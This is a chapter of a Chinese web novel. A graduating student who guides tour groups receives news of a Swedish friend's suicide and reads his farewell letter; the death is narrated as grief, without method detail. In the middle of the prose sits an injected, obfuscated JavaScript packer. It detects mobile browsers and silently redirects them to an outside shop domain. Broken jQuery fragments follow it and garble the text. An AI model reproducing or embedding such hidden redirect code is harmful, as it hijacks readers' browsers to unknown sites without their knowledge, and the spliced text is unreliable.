大学的最后一年，注定兵荒马乱。
那是一个看不见前方的十字路口，提剑四顾，四野茫茫，风从每个方向吹来。
有人在考公的题海里泅渡，有人在反复涂改简历上那几年的自己，也有人什么都不做，回避地躺在床上，等待命运替自己做决定。
每当你跃跃欲试地探出自己的脚，耳畔便响起太多太多声音，仿佛一场夏日密集的骤雨。
所有过来人都企图将自己的人生经验告诉后来者：不要去那里，不要这么快就把自己交出去，不要这么早就放弃自己，不要蒙着眼睛结婚生子，不要进入一个要死掉的行业……
不要、不要……
赵以宁也身处在这拥挤而又嘈杂的人群里，像一条鱼奋力地摆动鱼尾，逆游而上。
她没有拖到最后一天才递交申请材料，而是倒数第二天，这把老周气得够呛。
邮件发出去后，除了焦躁地等待，生活还在继续。
她做了两手准备，一面继续兼职导游，一面也加入了找工作的大军。
导游工作越做越顺，后面甚至带起了外国旅行团。
别上小蜜蜂扩音器，她站在岳麓山的石阶上，对来自世界各地不同颜色的眼睛，绘声绘色地讲述着长沙的自然风光和风土人情。
来自美国的旅客通常出手阔绰，有小费文化；荷兰和德国旅客相对抠门，十分严肃；而西班牙和意大利男人盛产情圣基因，最热衷于用眼神捕获芳心。
他们会故意用那双地中海般蔚蓝的眼睛深深凝望她，然后说——
“抱歉，我不得不问。是你一直在发光，还是今天的太阳故意偏心？”
而她会回答：“请记得涂spf50+防晒霜，不然比太阳还闪耀的，将会是你漂亮的小脸蛋。”
讲得太顺，到后来嘴巴甚至比脑子先动。不记得第多少次站在省博大棺前讲述辛追夫人的故事，她发现自己嘴上在讲解，但内心已经没有任何波澜。
“漆器上的纹路是怎么画上去的？”有旅客问。
“毛笔。”她条件反射地回答，目光落在面前的玻璃展柜上，恍惚间又映出了易克瑟那张脸。
那是她的第一位客人。
那一次，一切都是新鲜的，对他是，对她也是。
只是在之后日复一日同样的话术里，当初那种笨拙的激动，小心翼翼地期待和兴奋无影无踪。
少年心气，是不可再生之物。
易克瑟现在怎么样了？
他还好么？
他有好起来么？
在带旅行团的间隙，赵以宁窝在大巴车最后一排，点进了那个许久未打开的对话框。
消息一条条浮出来。往上翻，最开始是大段大段的文字和照片。他告诉她，自己顺利落地日本，转机斯德哥尔摩。
他还发来被霜雪覆盖的庄园和马厩，展示他父亲收集的一整排猎枪。
可再往下滑，说不清具体是哪一天哪一一刻哪一瞬，消息渐渐变少了。他说的事，她好陌生，而她的生活和朋友，他也一概不知。
瑞典和长沙隔着时差，常常是他在夜里发来一条消息，而她醒来后才看到，匆匆忙忙回复，消息便石沉大海，再然后她忙完一整天、带完一个团、挤上晚高峰的地铁，才想起打开看一眼。而他那边，又入了夜。
他们两个人，仿佛在两个不同季节里穿行。
她依然挂记着易克瑟的健康，时刻确认他是否还在，但她的生活已经开始力不从心。
有时候，她忙了一整天，回到空荡荡的宿舍，腿肚子走了一天发酸发胀，嗓子也沙哑宛如吞下一把沙砾，而直博申请的文件依然杳无音讯。
前方灰蒙蒙一片，她什么都不想干，浑身力气都被抽走了，像瘪掉的气球一样瘫在椅子上漫无目的地刷手机，一句话也不想说。
一天下午手机屏幕突然亮起来，她以为是导游排班的消息，点开才知道是直博申请回函。
她坐在宿舍的椅子上，把短短的回信翻来覆去看了好几遍。
群里久违的再次炸开锅，周晴和林晚亭已经从宿舍里搬了出去，在群里祝贺她：“申上了！！！”
“太好了，小宁子，你真牛！”
“以后可是doc.赵了！”
“是docx.赵啦！”
赵以宁发了个嘚瑟的表情，小猫得意龇牙。
高兴当然是真的，终于一切尘埃落地。
但这份高兴却很短暂，像一颗糖含在嘴里，甜了几秒就化了，她也说不上来为什么。
晚上临睡前刷微信朋友圈，身边的朋友有的入职互联网公司，月薪是她兼职导游好几个月才能挣到的数；有的考上了老家的公务员，已经开始看房。
她难免又想到自己，二十三岁了，依然没有一份正经的薪水，而这个状态可能要持续好多好多年。
电话响起，老赵要跟她视频，她接通，愣了一下，脱口而出：“老赵，你头发怎么白成这样了？”
“不一直这样么？”老赵大笑着说。
背景里老妈说：“你爸头发忘了染！”
老赵已经快六十了，他忙忙碌碌了一辈子，干着最吃力的体力活，只为了送她去读书。他们无怨无悔，可是她又能心安理得？
她继续深造，做兼职打工。
带外国的旅行团，依然是相对赚钱的方法。
易克瑟的影子就这么淡了，她再也不会在喝柠檬味气泡水的时候想起他。
一个人再也不会出现了，他的名字消失了，他的照片从手机相册的第一张滑到了文件夹深处。
手机升级换代，像素越来越高清，那时拍下照片以为和人眼无异，可后来才发现，高清也好，4K也好，像素点组成的图案永远只是一张照片，记录不下味道，温度，触感。就像一张高级的老照片，依然会随着时间渐渐褪去眼色。
＊
长沙经历了有史以来最寒冷的冬天。
漫长的冬天结束后，冬去春来，草长莺飞。
四月的长沙香樟树刚换完新叶，满城都是清新蓬勃的绿。
老周依旧不让人好过，狠狠虐他们，文献单子拉了一长串，组会一周两次，赵以宁基本上长在了图书馆里，做梦都梦到唐宋八大家几个老男人在云端开茶话会。
这天老周随口提了一句《柳宗元文选》，要人民文学出版社，80年的，说谁要是能找到就带过来。
满图书馆检索了一遍，状态全是“借出”或“在编目中”，师兄师姐们在群里面面相觑。
“我这里有。”赵以宁看到消息后回复。
“你怎么会有？”其他师兄师姐好奇地问。
赵以宁说：“是一位朋友送给我的。”
她匆匆出图书馆，一出大楼，阳光兜头照下来，暖融融的，四月的天好得不像话。
可就是那一刻，一股没来由的不安猛地攥住了她，像有根针在后背轻轻扎了一下。她突然想起不知在哪本书还是哪篇推送里读到过——春天是抑郁症发病的高峰期。
她一边往回走，一边赶紧翻找易克瑟的朋友圈，他很久很久没有用WeChat。系统默认背景图像素模糊，仿佛一个人在慢慢地、悄无声息地淡出这个世界。
“易克瑟，你还在吗？”
消息发出去了，没有红色感叹号，她松了一口气。
她走出几十步，又不安地停下来看了一眼，屏幕还是安安静静的，她发出去的那条消息孤零零地挂在那里，
她收起手机继续走，自己开解自己，也许他不用微信了，也许他换了手机，也许他只是没看到。
也许，也许……再多的也许也掩盖不了心底深处的不安。
“抱歉……”她迎面和一位同学撞了一下，甚至没看清撞到的是谁，只是模模糊糊地看到一个女生的身影，她说了一句“不好意思我赶时间”，就继续往前跑。
四月的长沙已经热了起来，一路跑到宿舍楼前，后背湿成一片。她三步并作两步上了楼，推开宿舍的门，把包扔在床上，手忙脚乱地到处找书。
那是她最珍惜的一本书，永远都放在床头书架上。可偏偏今天怎么也找不到。她越翻越急，额头上沁出细密的汗，书一本本抽出来又塞回去。
最后突然定睛一看，那本书就静静地立在眼皮底下，书脊贴着书架边缘，光线正好把它藏进一片阴影里。
她愣了一会儿，才将书抽出来，小心翼翼地翻开书页，属于那个夏天的清冽潭水瞬间扑面而来。
翻开第一页，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704332|207720||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
黄色便利贴写着歪歪扭扭地“易克瑟赠赵以宁”，她嘴角忍不住扬起，心口泛出甜蜜。
她真舍不得将便签纸摘掉，但带着便签纸拿去又怕被人盘问，被弄丢弄坏。
只能依依不舍地小心撕下来，收进抽屉里。
手机震了一下，她以为是群消息，点开正要回复找到书了，没想到是一封陌生邮件，发件人是一串像乱码一样的字母，发送时间是今天。
她顿了顿，点了进去。
“赵以宁女士：
很遗憾地通知您，易克瑟·林德霍尔姆因长期饱受严重抑郁症的困扰，已于昨日结束了自己的生命。根据他留下的遗嘱，随邮件附上他写给您的信。您是他遗嘱中指定的受益人之一，后续相关事宜会有律师与您联系。”
她大脑一片空白，宛如当头棒喝，耳膜嗡嗡震动，间杂着尖锐的声音，像指甲壳刮蹭着玻璃。
怎么可能呢？
一定是哪里弄错了。
一定是她英语不够好，中文也不够好，她是个可悲的文盲，无法理解一封书信……
可正式的文件大概为了杜绝语言上的障碍，特意一式三份，分别使用了瑞典语，英语和中文。
于是三段文本的格式、分段、行间距都严丝合缝，像三面互为镜像的墙，把人围在中间，每逃向一面墙，镜子里都只映出同一张脸，同一个事实——
易克瑟没有克服他的冬天。
她不知道自己是怎么点开文件末端的附件，可能是手指不小心碰到，可能是邮件自动加载完毕。
等她回过神，屏幕上的内容已经换了，律师那封工整的公函不见了，取而代之的，是另一副笔迹。
易克瑟的字，一行一行地铺在她眼前，像一副在她眼前展开的画卷。
她仿佛看见了他在灯下写信，躬身伏在案前，暖黄的台灯光像融化的蜜，轻轻倾泻在他那头淡金色的发上。
他可能会偶尔停笔，抬头思索，安静得像一副中世纪古典油画。
“我亲爱的中国女孩：
我不希望这封信的开头如你教科书上写给李华的信那般俗套，所以请允许我删除那些冗长的见字如面，就这样开始吧。
在圣经故事里，上帝创造世界用了七天，创造了光、天空、陆地与海、草木、日月星辰。而在和你相处的这七天，是我多年来最轻盈的时光。
你给了我一个不下雨的天空，带我走在了阳光充沛的陆地上，看那些我从未见过的植物和风景，你的眼底，有我久违的太阳、月亮和星星。我已很久不知快乐为何物，谢谢你将它带回我身边。
遗憾的是，这份微小的快乐并不能稀释我身体里的悲伤。或许你至今无法理解，那不是情绪低落，而是我身体里与生俱来的一部分，如骨骼，如血液，镌刻在基因里，自记忆之初便在那里。
我母亲在我十三岁时饮弹自尽，她的父亲——我的外祖父——在她七岁那年，用同样的方式结束自己的生命。我很早便知道自己的结局，它流淌在母亲的血液里，也必然流淌在我的血液里，无从躲避。
请原谅我这个被病痛缠身的人吧，不用为我难过，做这个决定我只有解脱，没有遗憾。
我在遗嘱里为你留下了一笔钱，这笔钱足够覆盖你未来的学业和生活，让你不必为生计所困，但如果你想过得更加肆意精彩，还需自己付出辛勤的工作。请记住，任何时候心怀热情和乐观比六便士更重要。（你说你不信童话里的仙女婆婆，那就让我扮演一次吧——不过，仅此一次，下不为例。）
接下来，请继续当我的眼睛吧，替我去看一看我尚未抵达的江河与海。听说长城蜿蜒万里，听说喜马拉雅山脉雪线千年不化，听说敦煌沙漠之夜，星落如雨，坠地成愿，请替我一一确认。
此信无别，唯愿你此后，平安顺遂，万事如愿。
易克瑟
于斯德哥尔摩”
窗外油绿的香樟树树叶翻动。
长沙的四月，鸟语花香。
“找到书了么？”手机不断弹出群消息。
她的视线看不清楚字，用手指擦了擦屏幕，依然模糊成一片。
胸口仿佛在痉挛，难以呼吸。
她一个字一个字地机械敲下：“嗯，找到了。”